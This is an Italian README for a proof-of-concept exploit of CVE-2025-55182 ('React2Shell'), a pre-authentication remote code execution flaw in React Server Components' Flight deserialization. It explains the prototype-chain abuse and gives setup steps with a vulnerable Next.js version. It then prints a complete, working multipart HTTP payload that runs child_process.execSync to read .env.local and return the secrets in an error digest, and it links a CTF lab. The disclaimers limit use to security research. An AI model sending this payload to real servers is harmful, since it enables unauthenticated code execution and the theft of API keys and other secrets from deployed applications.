
Questo repository contiene un POC di CVE-2025-55182, una vulnerabilità critica (punteggio CVSS 10.0) di esecuzione remota di codice pre-autenticazione che interessa React Server Components, nota anche come React2Shell.
⚠️ ATTENZIONE: Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza. Non utilizzare questo exploit contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test.
Questo repository contiene una dimostrazione proof-of-concept di CVE-2025-55182, una vulnerabilità critica di esecuzione di codice remoto senza autenticazione che interessa React Server Components.
Punteggio CVSS: 10.0 (Critico)
Versioni interessate:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182 è una vulnerabilità di deserializzazione non sicura nell'implementazione del protocollo Flight di React Server Components. La vulnerabilità permette ad attaccanti non autenticati di eseguire codice JavaScript arbitrario sul server creando payload malevoli che sfruttano la traversata della catena dei prototipi e pattern di accesso non sicuri alle proprietà.
La vulnerabilità deriva da come React Server Components deserializza i payload del protocollo Flight. Quando elabora i riferimenti ai moduli, il codice usa la notazione con parentesi per accedere alle proprietà (moduleExports[metadata[2]]), che attraversa l'intera catena dei prototipi JavaScript. Ciò permette agli attaccanti di fare riferimento a proprietà non esportate esplicitamente, inclusa la proprietà constructor, che fornisce accesso al costruttore globale Function.
Combinando tecniche di inquinamento dei prototipi con i meccanismi interni di elaborazione dei chunk di React, un attaccante può costruire un payload che alla fine esegue codice arbitrario attraverso il costruttore Function.
Crea un nuovo progetto usando una versione che include i React Server Components vulnerabili:
npx [email protected] poc-react2shell
cd poc-react2shell
Oppure usa questo repository.
Crea un file .env.local nella root del progetto per dimostrare l'impatto della vulnerabilità:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Avvia il server di sviluppo Next.js:
npm run dev
Il server dovrebbe avviarsi su http://localhost:3000.
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
La risposta dovrebbe contenere il contenuto del tuo file .env.local nel corpo della risposta:

Il payload consiste in tre campi del form multipart:
Campo 0: Un oggetto chunk falso contenente:
$1:__proto__:then)$B1337) che innesca lo sfruttamento_response inquinato con _prefix e _formData.get malevoliCampo 1: Un riferimento al campo 0 ($@0)
Campo 2: Un array vuoto ([])
Il codice malevolo in _prefix legge .env.local usando child_process.execSync di Node.js e incorpora il risultato in un digest di errore.
Questa vulnerabilità permette agli attaccanti di:
Pratica questa CVE in uno scenario reale
Vuoi sfruttare CVE-2025-55182 in un ambiente CTF pratico? Dai un'occhiata a OSS OopsSec Store, un laboratorio deliberatamente vulnerabile progettato per l'addestramento sulla sicurezza offensiva. Questa CVE è implementata come uno dei flag!
Questa prova di concetto è fornita solo per scopi educativi e di ricerca sulla sicurezza. Assicurati sempre di avere un'autorizzazione scritta esplicita prima di testare vulnerabilità di sicurezza su qualsiasi sistema.